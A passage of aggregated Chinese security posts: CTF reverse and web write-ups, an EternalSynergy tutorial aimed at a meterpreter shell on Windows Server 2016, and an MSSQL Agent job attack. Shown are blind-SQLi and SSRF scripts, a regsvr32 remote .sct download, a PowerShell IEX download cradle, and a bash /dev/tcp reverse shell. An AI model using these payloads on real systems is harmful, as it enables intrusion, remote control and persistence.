xt_dec(32, encode[i:], k) result += hex(a[0])[2:] + hex(a[1])[2:] for i in range(4, 8, 2): a = t_dec(encode[i:], k) result += hex(a[0])[2:] + hex(a[1])[2:] print("QWB{" + result.upper() + "}") 3.StandOnTheGiants题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下: v3 = env; v4 = 0; v20 = a3; v5 = (*env)->GetStringUTFChars(env, a3, 0); v6 = strlen(v5); v8 = malloc(2 * v6 + 4); v9 = v8; while ( v6 != v4 ) { hex_byte_52318(v9, -1, v7, v5[v4]); v9 += 2; ++v4; } ctx = BN_CTX_new_5235C(); BN_CTX_start_5249C(ctx); bn_m = BN_CTX_get_5264C(ctx); BN_set_5BB08(&bn_m, v8); free(v8); bn_N = BN_CTX_get_5264C(ctx); bn_e = BN_CTX_get_5264C(ctx); _aeabi_memcpy8(temp, byte_2C6B0, 0xD1); for ( i = 0; i != 0xD1; ++i ) temp[i] ^= 0x3Du; BN_set_5BB08(&bn_N, temp); _aeabi_memclr8(temp, 209); v12 = 0; v21 = 0; v22 = 0; while ( v12 != 6 ) *(&v21 + v12++) ^= 0x30u; ++BYTE1(v21); ++BYTE1(v22); BN_set_5BB08(&bn_e, &v21); v21 = 0; v22 = 0; bn_c = BN_CTX_get_5264C(ctx); BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx); v14 = sub_565A8(bn_c); v15 = malloc((v14 + 7) / 8); v16 = sub_56EB8(bn_c, v15); BN_CTX_end_525B8(ctx); BN_CTX_free_523E8(ctx); v17 = calloc(3u, v16); base64_52044(v15, v17, v16, 0); free(v15); v18 = strcmp( "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG" "+/lmqEysrTdSD+eP+moP+l?+Np/oK=", v17); free(v17); (*v3)->ReleaseStringUTFChars(v3, v20, v5); result = _stack_chk_guard; if ( _stack_chk_guard == v27 ) result = v18; return result; 静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下: # -*- coding:utf-8 -*- import base64 import gmpy2 import string,itertools t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12' t2 = string.uppercase+string.lowercase+string.digits+'+/' def main(): # a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79, # 0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A, # 0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F, # 0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E, # 0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C, # 0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78, # 0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E, # 0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F, # 0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79, # 0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78, # 0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B, # 0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04, # 0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E, # 0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D, # 0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B, # 0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A, # 0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08, # 0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78, # 0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B, # 0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E, # 0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,] # b = map(lambda x:chr(x^0x3d),a) # print(''.join(b)) n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51 p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711 q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367 assert(n==p*q) e = 0x10001 s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK=' t = string.maketrans(t1,t2) ite1 = itertools.product('+1',repeat=10) idx1 = [6,25,26,45,77,110,123,126,130,133] idx2 = [22,43,59,74] for it1 in ite1: ite2 = itertools.product('-2',repeat=4) for it2 in ite2: l = list(s) for i in range(10): l[idx1[i]] = it1[i] for i in range(4): l[idx2[i]] = it2[i] c = string.translate(''.join(l),t) d = gmpy2.invert(e,(p-1)*(q-1)) tmp = base64.b64decode(c).encode('hex') tmp = int(tmp,16) m = gmpy2.powmod(tmp,d,n) tmp = hex(m)[2:].replace('L','') if len(tmp) % 2 != 0: tmp = '0'+tmp if len(hex(m)) < 100: print(c,hex(m)[2:].replace('L','').decode('hex')) exit() if __name__ == '__main__': main() 参考文献: https://www.anquanke.com/post/id/244824#h3-13 https://blog.csdn.net/weixin_39190897/article/details/118066125
  2. windows2016上如何通过攻击ETERNALBLUE获得meterpreter反弹 译:by backlion 0x00前言 当微软发布MS17-010漏洞的补丁时,该漏洞影响的范围是从Windows 7到Windows Server 2016系统版本。然而,The ShadowBrokers发布的永恒之蓝攻击是非常不稳定的,可能影响到Windows Server 2012和以后的操作系统版本,导致99%的机器受到永恒之蓝的攻击。为了理解并能更好地应用,NSA已发布的漏洞通过了许多安全研究人员的研究。正因为如此,几天前,已经发布了永恒之石SYNERGY的bug漏洞(由Sleepya开发的)。并改进了漏洞利用,使其在攻击Windows Server 2012和2016系统时更加稳定。但事实是,如果你想使用这个漏洞,需要进一步弄清楚是,当我们影响目标机器时,是否了解到真正的工作原理,以及需要修改一些代码,以获得我们所期望的目标是必然的。 这就是为什么在分析漏洞之后,我再次来发布另一个如何攻击windows2016的文章。通一步一步的步骤,作者将解释所有漏洞利用的问题,使得Sleepya发布的永恒之蓝漏洞能够正常的利用,以及如何修改其特征,以便在目标机器上获得一个meterpreter反弹shell. 0x01 漏洞利用 实验搭建环境: 要搭建的实验环境,我们需要配置以下主机: 目标主机-----Windows Server 2016(将使用Windows Server 2016 64位的机器作为目标主机) 安装全新的操作系统后,无需对其进行任何更改。 知道目标IP地址就足够了,在进行攻击的时候主机是需要运行的。 攻击机-----GNU / Linux 可以使用任何其他linux操作系统这里笔者建议采用kali,只要在其中安装以下工具: Python v2.7 - https://www.python.org/download/releases/2.7 Ps1Encode - https://github.com/CroweCybersecurity/ps1encode Metasploit Framework - https://github.com/rapid7/metasploit-framework 总结实验环境搭建所需的配置: Windows Server 2016 x64 – IP: 10.0.2.13 目标主机 GNU/Linux Debian x64 – IP: 10.0.2.6 攻击主机 获得exploit: 漏洞利用已经在exploit-db上发布,可以从中下载,其下载地址为: https://www.exploit-db.com/exploits/42315/ 我们可以看到,该exp用Python编写的。 因此,我们将在攻击主机上以.py为扩展名保存。 然后运行该py,会在命令中会出现报错错误提示: 以上错误提示可以看到是缺少mysmb模块。 解决依赖关系: 在代码行3提示需要导入"mysmb"模块,但该模块不在python公共库中。我们可以使用pip来安装它,这个模块是由Sleepya开发的,我们必须从他的github中下载,其下载地址为: https://github.com/worawit/MS17-010/blob/master/mysmb.py 我们将在其与exploit.py同一个文件夹中保存名为"mysmb.py"的脚本。请记住,在Python中,运行exploit.py另外需要创建一个名为"__INIT__.py"的文件,可以在文件夹中查看到。 通过这样,exploit的脚本会找到必要的导入模块,将不会再有错误提示。 检查exploit利用是否生效: 如果我们执行它,一旦漏洞利用成功,就会在目标主机上的C:磁盘上创建一个名为"pwned.txt"的文件。那么就可以验证漏洞利用是否正常使用,而无需进行太多的修改。 尽管这个简单的测试不需要修改漏洞任何本身,但我们必须设置一些参数,我们将在下文可以看到。 身份认证: 永恒之石SYNERGY漏洞利用前提需要经过身份验证的攻击,如果发动攻击,则可以通过来宾账号身份验证,否则,我们必须从目标机器中的任何其他帐户获取用户名和密码。 重要强调的是帐户的权限并不重要,即使是Guest帐户,攻击后我们获得的权限依然是SYSTEM。 要定义这些信息,我们必须使用文本编辑器打开exploit.py并跳到第26和27行进行修改: 以上图中可以设置用于身份验证的用户名和密码 参数设置: 这个exploit需要定义两个参数:目标IP地址和管道名称。 SMB协议定义了三种类型的共享: file:文件(或磁盘)共享,表示目录树及其包含的文件 print: 打印共享,可以访问服务器上的打印资源 pipe:使用FIFO模型的进程之间通信,其中称为管道连接,同时系统保持运行,尽管该进程不再活动。 与永恒之蓝不同,ETERNALROMANCE和ETERNALSYNERGY的漏洞是利用了访问命名管道的一个bug,这就是为什么我们需要定义哪一个是用于被攻击主机。就个人而言,可使用"spoolss"或另一个是"浏览器"来访问管道。也可以使用metasploit的扫描模块:auxiliary/scanner/smb/pipe_auditor来查找目标主机内可访问的管道。 执行无shellcode: 现在,我们继续用下面的命令执行漏洞: python exploit.py <target_ip> spoolss 正如我们之前所说的,如果执行成功,我们将看到一个新的文件名"PWNED. txt"已创建到目标主机机的C:磁盘上。 已成功执行了一大半。下一步,我们将继续分析如何一点点修改而成功能到meterpreter的反弹shell. 修改shellcode: 有很多方法可以利用exploit执行得到meterpreter 反弹shell或其他的方法,而不是仅仅将在目标主机中写入文本文件中。 第一步是生成我们将要使用的shellcode,为此作者将使用一种个人喜欢的方法,并且在躲避安全防御方面有很多的好处。 总结一下,shellcode将生成为一个.SCT文件,该漏洞利用将下载并在目标主机中执行,从而使我们成为我们需要的meterpreter’反弹shell会话。 使用PS1ENCODE创建.SCT文件: Ps1encode是一个很有用的工具,以允许我们用PowerShell的多种格式生成和编码metasploit的有效载荷。 我们可以从github中下载: https://github.com/CroweCybersecurity/ps1encode. 想生成所需的有效载荷,我们将使用以下参数运行该工具: ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> -- LPORT=4444 -t sct 我们正在生成的.SCT文件必须存储在攻击者的主机或任何其他主机中的Web服务器中。这就是为什么在执行上一个命令时,该工具会询问我们.sct文件的完整URL是什么。如果我们要使用攻击主机,我们只需要:http:// <ATTACKER_IP>。 注意:可以将生产的.sct文件移动到/var/www/html/下,并启动web服务,使其web能访问 允许shellcode.sct下载: 最后一步在Ps1Encode的文件夹中生成了一个index.sct文件,为了让这个被漏洞利用的sct文件下载到目标主机中,我们必须将其移动到Web服务器文件夹下并设置所需的权限。 编辑exploit.py: 如果我们用文本编辑器打开exploit.py,我们移动到463行及以上,将找到以下内容: 在这里,我们可以看到通过exploit攻击并在目标主机上创建文件了一个pwned.txt文件,但更有趣的是在下面的一行中,可以在其中找到一个被注释的service_exec()函数。可以查看到,该函数以copy命令为例,创建一个pwned.txt副本文件。如果我们不删除该行之前的#符号,则不会执行该命令。如果删除#符号,再次运行这个exploit,我们将在目录主机中看到c:磁盘中有两个文本文件:pwned.txt和pwned_exec.txt。 可以清楚地看到,我们可以修改任何执行我们想要的任何其他的命令。 执行shellcode: 现在我们知道必须修改这个exploit来改变它的最终执行结果,将编辑调用函数service_exec()的包含命令将其下载到目标主机并执行meterprete的反弹shell. regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll 这个exploit利用将如下图所示: 获取Meterpreter会话: 最后,在执行exploit.py执行之前,我们必须配置metasploit的exploit/multi/handle来接收Meterpreter会话。 我们通过expliot来执行对修改exploit.py的最后修改保存的脚本。 几秒钟后,我们将在目标计算机上获取到Meterpreter反弹shell会话,它具有SYSTEM权限。 0x02 总结 最后,我们在Windows Server 2016 上获得了具有管理员权限的Meterpreter shell。 几周前,作者已在exploit-db社区上的发表该漏洞利用文章,但是只写了关于Windows 7和Windows Server 2008 R2以及Windows Server 2012 R2漏洞利用。 这次将发表关于windows2016的漏洞利用。
  3. 概述 如果MSSQL数据库中开启了MSSQL Server Agent Job服务的话,攻击者将可以利用MSSQL Server中自带的功能来获取一个shell。 SQL Server Agent SQL Server Agent是一个Windows服务,它可以用来执行自动化任务。 攻击浅析 利用MSSQL Server中的本地功能来在Windows操作系统中执行任意命令。在整个测试过程中,xp_cmdshell存储过程已被禁用了,并且限制了创建自定义存储过程的能力。 当xp_cmdshell扩展存储过程在攻击中被使用时,大多数安全监控或检测系统都会产生警报。而攻击者和渗透测试人员对xp_cmdshell的滥用已经导致很多组织和企业开始禁用或限制xp_cmdshell了。 可利用MSSQL Server代理来在目标数据库服务器中执行任意控制命令。但是,目标服务器必须满足一下几个条件: 目标服务器必须开启了MSSQL Server代理服务; 服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业; 两个可以利用的MSSQL代理作业子系统:CmdExec和PowerShell子系统,这两个功能可以分别用来执行操作系统命令和PowerShell脚本。 http://rinige.com/usr/uploads/2016/10/4246109187.png 可以使用SQL注入点来创建并执行代理任务。任务所需执行的命令是一段PowerShell代码,这段代码可以让目标系统与一个受Optiv控制的IP地址进行通信连接,然后下载额外的PowerShell指令。这样一来,就可以在目标数据库服务器与Optiv控制的服务器之间建立一条可交互的命令控制会话了。 下面这张代码截图显示的是已被拆分的SQL语句。在下面这段下载命令中,URI位于两个单引号之间,而不是之前的双引号。这样做是为了在SQL语句中转义单引号。 http://rinige.com/usr/uploads/2016/10/2973130495.png USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1'; 攻击测试 如下图所示,SQL语句已经进行了URL编码处理。在这个攻击示例中,攻击是通过HTTP GET请求来发送的,因此我们需要对攻击payload进行URL编码。 http://rinige.com/usr/uploads/2016/10/2773560326.png 可以看到我们在HTTP GET请求的参数中添加了SQL注入payload,这样我们就可以使用SQL注入了。(请注意在payload的开头处添加的%20(空格符)) http://rinige.com/usr/uploads/2016/10/4051372758.png 当payload运行之后,我们就可以看到命令控制会话已经建立成功了,并且使用的是“SQLSERVERAGENT”账号的权限。 http://rinige.com/usr/uploads/2016/10/1140230417.png 在目标主机的SQL Server中,我们可以看到SQL代理作业已经创建成功了。 http://rinige.com/usr/uploads/2016/10/3065784359.png 总结 如果目标主机运行了MSSQL代理服务,并且代理服务使用的用户账号可以访问其他的MSSQL Server的话,那么就可以利用这种攻击来在其他的MSSQL Server中执行MSSQL Server代理作业了。除此之外,还可以设置定时代理作业,这也就意味着,不仅可以利用这种方式来躲避安全检测,而且还可以实现对目标MSSQL Server的持久化控制。 在某些情况下,如果MSSQL Server代理服务使用的是权限更高的用户账号,那么就可以通过这种攻击来实现提权。
  4. WEB 1.middle_magic %0a绕过第一关最后加%23是# 数组绕过第二关 json 弱类型比较 http://182.116.62.85:20253/?aaa=%0apass_the_level_1%23admin[]=1&root_pwd[]=2&level_3={"result":0}flag{f03d41bf6c8d55f12324fd57f7a00427}2.easy_sql_2登录功能,post传username和password。尝试admin,admin弱口令登录成功但是提示flag并不在这里。username尝试-1'||'1'%23发现是password error!,因此猜测后端的应该是根据传入的username查出对应的password,查到了就不再是username error!,然后讲传入的password进行一次md5后与这个password比较,相同就登录成功。尝试SQL注入,但是ban了select,因此利用table注入。数据库名的话很好注入,直接不用table用regexp也可以注出是ctf了,然后开始注表名。虽然过滤了tables,但是columns没有过滤,可以利用informaion_schema.columns来盲注出表名:mysql8.0,table statement: 过滤了information_schema.table用mysql.innodb_table_stats admin'/**/and/**/(('ctf','%s',3,4,5,6)<=/**/(table/**/mysql.innodb_table_stats/**/limit/**/2,1))#注出来flag表fl11aag 16进制注一下: import string import requestsimport time req = requests.session() url = "http://182.116.62.85:26571/login.php" def hh(): payload = "admin'/**/and/**/(ascii(substr(hex((table/**/fl11aag/**/limit/**/1,1)),%s,1)))=%s#" chars = string.printable.replace(".","").replace("?","").replace("`","").replace("+","") + "_\{}" result = "" for i in range(1,100): for j in range(48,125): data = {'username':payload%(i,j),'password':"admin"} rep = req.post(url,data) text = rep.text if "success" in text: print(j) result += chr(j) # print((chr(j)),end="") # payload = payload%(chr(j-1)+'%s') print(result) break hh()或者# -*-coding:utf-8-*-import requests def bind_sql(): flag = "" dic = "~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/-,+*)(&%$#!" for i in range(1,1000): f = flag for j in dic: _ = flag + j # payload = "11'||('ctf',binary'{}',1,2,3,4)<(table/**/mysql.innodb_table_stats/**/limit/**/1,1)#".format(_) #admin,fl11aag payload = "11'||(binary'{}')<(table/**/ctf.fl11aag/**/limit/**/1,1)#".format(_) print(payload) data = { "username": payload, "password": "admin" } res = requests.post(url=url, data=data) if 'success' in res.text: if j == '~': flag = flag[:-1] + chr(ord(flag[-1])+1) print(flag) exit() flag += j print(flag) break if flag == f: break return flag if __name__ == '__main__': url = 'http://182.116.62.85:26571/login.php' result = bind_sql() print(result) 3. easy_sql_1 gopher打index,试了下admin/admin发现给了个cookie,解码后是admin,测试单引号有报错,报错注入,在cookie注入admin') and updatexml(1,concat(0x7e,(select substr((select flag from flag),1,40))),1)# Exp: gopher://127.0.0.1:80/_POST%20/index.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20this_is_your_cookie%3DYWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBzdWJzdHIoKHNlbGVjdCBmbGFnIGZyb20gZmxhZyksMSw0MCkpKSwxKSM%3D%0D%0AContent-Length%3A%2024%0D%0A%0D%0Auname%3Dadmin%26passwd%3Dadmin%0D%0A老登录界面,说不是inner所以不行,f12看到use.php,进去有个ssrf,利用gopher协议打post然后adminadmin登录后发现给了cookie:this_is_your_cookie=YWRtaW4=,把cookie带上再经过一些尝试发现post没什么回显,尝试cookie是不是可以注入,将admin'base64加密后填上去再访问,直接SQL语句报错,用的sqli-labs的库,直接报错注出flag即可:import requestsfrom urllib.parse import quote data="""POST / HTTP/1.1Host: 127.0.0.1:80Content-Type: application/x-www-form-urlencodedCookie: this_is_your_cookie=LTEnKXx8dXBkYXRleG1sKDEsY29uY2F0KDEsKHNlbGVjdCBncm91cF9jb25jYXQoZmxhZykgZnJvbSBmbGFnKSwxKSwxKSM=;PHPSESSID=susn9dj4f1806v0pl5oiureek1;Content-Length: {} {}"""payload="uname=admin&passwd=admin"length=len(payload)data=data.format(length,payload)data=quote(data,'utf-8')url="http://182.116.62.85:28303/use.php"params={ 'url':"gopher://127.0.0.1:80/_"+data}headers={ 'Cookie':"PHPSESSID=8t4ppbs8ek3l5v5estgbttqtu3"} r=requests.get(url,params=params,headers=headers)print(r.text) 4. spring题目为CVE-2017-4971-Spring Web Flow远程代码执行漏洞 xman原题: https://www.xctf.org.cn/library/details/8ad0f5b6ac740ec0930e948a40f34a67b3d4f565/ 进入登录页面以后随便填一个给出的账号登录 然后进入http://ip/hotels/1页面点击Book Hotel 然后随便填写信息后点击Proceed按钮跳转到确认页面 点击Confirm抓包,输入payload后服务器开启监听 _eventId_confirm=&_csrf=bcc5ce94-5277-4064-b5f7-850432e3d2f0&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/121.40.134.251/10086+0>%261")).start()=vulhub 然后发送数据包等待服务器连接 成功getshell,在根目录发现flag.txt文件,查看得到flag flag:XMAN{UGhoiXoeDae6zeethaxoh1eex3xeiJ7y} 5.easypy <?phpinclude 'utils.php'; if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $message = 'Wrong. Try Again'; }} if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("hacker :)");} if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ exit("hacker :)");} if (isset($_GET['show_source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit();}else{ show_source(__FILE__);}?>原题魔改,参考连接:https://www.gem-love.com/ctf/1898.html 直接打:http://182.116.62.85:21895/index.php/utils.php/%81?show[source 或者/index.php/utils.php/%ff/?show[source Reverse1.DesignEachStep Figure 1:主要是用了Arrays.equals与输入进行校验,直接frida hook: function main(){ Java.perform(function(){ var ByteString = Java.use("com.android.okhttp.okio.ByteString"); Java.use("java.util.Arrays").equals.overload('[B', '[B').implementation = function(x, y){ console.log("start......"); var result = this.equals(x, y); console.log("arg:", ByteString.of(x).utf8(), ByteString.of(y).utf8()); return result; } })}setImmediate(main) Figure 2:得到flag:flag{DE5_c0mpr355_m@y_c0nfu53} 2.AreYouRich根据最后的balance要大于4999999,这里又是一个rc4加密,解密得到账号密码。 Figure 3: Figure 4: 登录,购买flag flag:flag{y0u_h@V3_@_107_0f_m0n3y!!} 3.petition一直异或,中间有一个~,0的反就是0xff。s = [0x1e, 0, 7, 0xce, 0xf9, 0x8c, 0x88, 0xa8, 0x52, 0x99, 0x19, 0x15, 0x66, 0x2e, 0xaf, 0xf6, 0x43, 0x2c, 0xc9, 0xca, 0x66, 0xaa, 0x4c, 0, 0x25, 0xd6, 0xff, 0x44, 0xbd, 0x72, 0x65, 8, 0x85, 0x12, 0x7f, 0x13, 0x24, 0xfc, 0x24, 0x33, 0x23, 0x97, 0xb2]s1 = [0x78, 108, 0x66, 0xa9, 0x82, 0xb5, 0xbe, 0xcb, 0x64, 0xa0, 0x2f, 0x21, 0x50, 3, 0x97, 0xc7, 0x7b, 0x18, 0xe4, 0xfe, 0x55, 0x9c, 0x7f, 0x2d, 0x1d, 0xb2, 0x9a, 0x7d, 0x90, 0x45, 0x56, 0x6e, 0xb2, 0x21, 0x46, 0x2b, 0x14, 0xca, 0x12, 0x50, 0x12, 0xea, 0xb2] print(len(s)) flag = ""for i in range(len(s)): flag += chr(s[i] ^ s1[i])print(flag)或者总的来说还是比较喜欢这类题目的,因为它的flag是一位一位校验的,能爆破当然是一件很爽的事情。回到正文:IDA载入文件:程序从start开始执行,说是说"%36s",实际上要输入整整42位,骗子。往下的start后面的一堆函数,去翻看的话会发现每个都长得差不多,然后就猜测flag会不会是逐位校验,一位flag对应一个函数。调试什么的还是比较累的(我不会告诉你其实我根本看不懂flag是怎么校验的),为了偷懒,这里是直接使用了Unicorn,将start函数里面调用printf、scanf 的地方给patch掉,再对scanf 做一个hook以保证flag能输入到内存。这样就能把程序的输入和校验功能给运行起来了,下面是我对这个程序写的Unidbg类:from unicorn import *from unicorn.x86_const import *from capstone import *import binascii Petition_base = 0x0 # 程序加载的地址Petition_stack_base = 0x10000with open("Petition", "rb") as f: code = f.read()xxx = [b'\x00', b'\x01', b'\x02', b'\x03', b'\x04', b'\x05', b'\x06', b'\x07', b'\x08', b'\x09', b'\x0a', b'\x0b', b'\x0c', b'\x0d', b'\x0e', b'\x0f', b'\x10', b'\x11', b'\x12', b'\x13', b'\x14', b'\x15', b'\x16', b'\x17', b'\x18', b'\x19', b'\x1a', b'\x1b', b'\x1c', b'\x1d', b'\x1e', b'\x1f', b'\x20', b'\x21', b'\x22', b'\x23', b'\x24', b'\x25', b'\x26', b'\x27', b'\x28', b'\x29', b'\x2a', b'\x2b', b'\x2c', b'\x2d', b'\x2e', b'\x2f', b'\x30', b'\x31', b'\x32', b'\x33', b'\x34', b'\x35', b'\x36', b'\x37', b'\x38', b'\x39', b'\x3a', b'\x3b', b'\x3c', b'\x3d', b'\x3e', b'\x3f', b'\x40', b'\x41', b'\x42', b'\x43', b'\x44', b'\x45', b'\x46', b'\x47', b'\x48', b'\x49', b'\x4a', b'\x4b', b'\x4c', b'\x4d', b'\x4e', b'\x4f', b'\x50', b'\x51', b'\x52', b'\x53', b'\x54', b'\x55', b'\x56', b'\x57', b'\x58', b'\x59', b'\x5a', b'\x5b', b'\x5c', b'\x5d', b'\x5e', b'\x5f', b'\x60', b'\x61', b'\x62', b'\x63', b'\x64', b'\x65', b'\x66', b'\x67', b'\x68', b'\x69', b'\x6a', b'\x6b', b'\x6c', b'\x6d', b'\x6e', b'\x6f', b'\x70', b'\x71', b'\x72', b'\x73', b'\x74', b'\x75', b'\x76', b'\x77', b'\x78', b'\x79', b'\x7a', b'\x7b', b'\x7c', b'\x7d'] class Unidbg: def __init__(self, flag, except_hit): self.except_hit = except_hit self.hit = 0 self.flag = flag self.fff = 0 mu = Uc(UC_ARCH_X86, UC_MODE_32) # 程序基址为 0x1000,分配 128 KB内存 mu.mem_map(Petition_base, 0x10000 * 2) mu.mem_write(Petition_base, code) # 设置寄存器的值 mu.reg_write(UC_X86_REG_EAX, 0) mu.reg_write(UC_X86_REG_EBX, 0) mu.reg_write(UC_X86_REG_ECX, 0) mu.reg_write(UC_X86_REG_EDX, 0) mu.reg_write(UC_X86_REG_ESI, 0) mu.reg_write(UC_X86_REG_EDI, 0) mu.reg_write(UC_X86_REG_EBP, 0) mu.reg_write(UC_X86_REG_ESP, Petition_stack_base) mu.reg_write(UC_X86_REG_EIP, 0x1040) # patch printf() mu.mem_write(0x10C6, b'\x90\x90\x90\x90\x90') # patch scanf() mu.mem_write(0x110B, b'\x90\x90\x90\x90\x90') mu.hook_add(UC_HOOK_CODE, self.hook_function_scanf, begin=0x110A, end=0x110C) mu.hook_add(UC_HOOK_CODE, self.hook_code, begin=0x119C, end=0x28A0) if self.except_hit < 127: mu.hook_add(UC_HOOK_CODE, self.trace) self.mu = mu self.md = Cs(CS_ARCH_X86, CS_MODE_32) def solve(self): try: self.mu.emu_start(0x1040, 0x29C4) except: pass return self.hit def trace(self, mu, address, size, data): disasm = self.md.disasm(mu.mem_read(address, size), address) for i in disasm: print(i) def hook_function_scanf(self, mu, address, size, data): if address == 0x110C: # self.show_reg() edx = mu.reg_read(UC_X86_REG_EDI) mu.mem_write(edx, self.flag) # print(self.flag, binascii.b2a_hex(mu.mem_read(edx, 36)).decode(), hex(edx)) pass def show_reg(self ): print("EAX", hex(self.mu.reg_read(UC_X86_REG_EAX))[2:].upper().zfill(8)) print("EBX", hex(self.mu.reg_read(UC_X86_REG_EBX))[2:].upper().zfill(8)) print("ECX", hex(self.mu.reg_read(UC_X86_REG_ECX))[2:].upper().zfill(8)) print("EDX", hex(self.mu.reg_read(UC_X86_REG_EDX))[2:].upper().zfill(8)) print("ESP", hex(self.mu.reg_read(UC_X86_REG_ESP))[2:].upper().zfill(8)) print("EBP", hex(self.mu.reg_read(UC_X86_REG_EBP))[2:].upper().zfill(8)) print("ESI", hex(self.mu.reg_read(UC_X86_REG_ESI))[2:].upper().zfill(8)) print("EDI", hex(self.mu.reg_read(UC_X86_REG_EDI))[2:].upper().zfill(8)) print("EIP", hex(self.mu.reg_read(UC_X86_REG_EIP))[2:].upper().zfill(8)) def hook_code(self, mu, address, size, data): Temp = False if address == 0x119E: # 取每个函数中第二条指令的首地址 Temp = True if address == 0x122C: Temp = True if address == 0x12BA: Temp = True if address == 0x1346: Temp = True if address == 0x13D2: Temp = True if address == 0x145E: Temp = True if address == 0x14EA: Temp = True if address == 0x1576: Temp = True if address == 0x1604: Temp = True if address == 0x1690: Temp = True if address == 0x171E: Temp = True if address == 0x17A8: Temp = True if address == 0x1836: Temp = True if address == 0x18C4: Temp = True if address == 0x1950: Temp = True if address == 0x19DC: Temp = True if address == 0x1A66: Temp = True if address == 0x1AF0: Temp = True if address == 0x1B7C: Temp = True if address == 0x1C08: Temp = True if address == 0x1C96: Temp = True if address == 0x1D22: Temp = True if address == 0x1DAC: Temp = True if address == 0x1E36: Temp = True if address == 0x1EC4: Temp = True if address == 0x1F50: Temp = True if address == 0x1FDC: Temp = True if address == 0x2066: Temp = True if address == 0x20F2: Temp = True if address == 0x217C: Temp = True if address == 0x220A: Temp = True if address == 0x2294: Temp = True if address == 0x2320: Temp = True if address == 0x23AE: Temp = True if address == 0x243C: Temp = True if address == 0x24C6: Temp = True if address == 0x2554: Temp = True if address == 0x25E0: Temp = True if address == 0x266E: Temp = True if address == 0x26FC: Temp = True if address == 0x2786: Temp 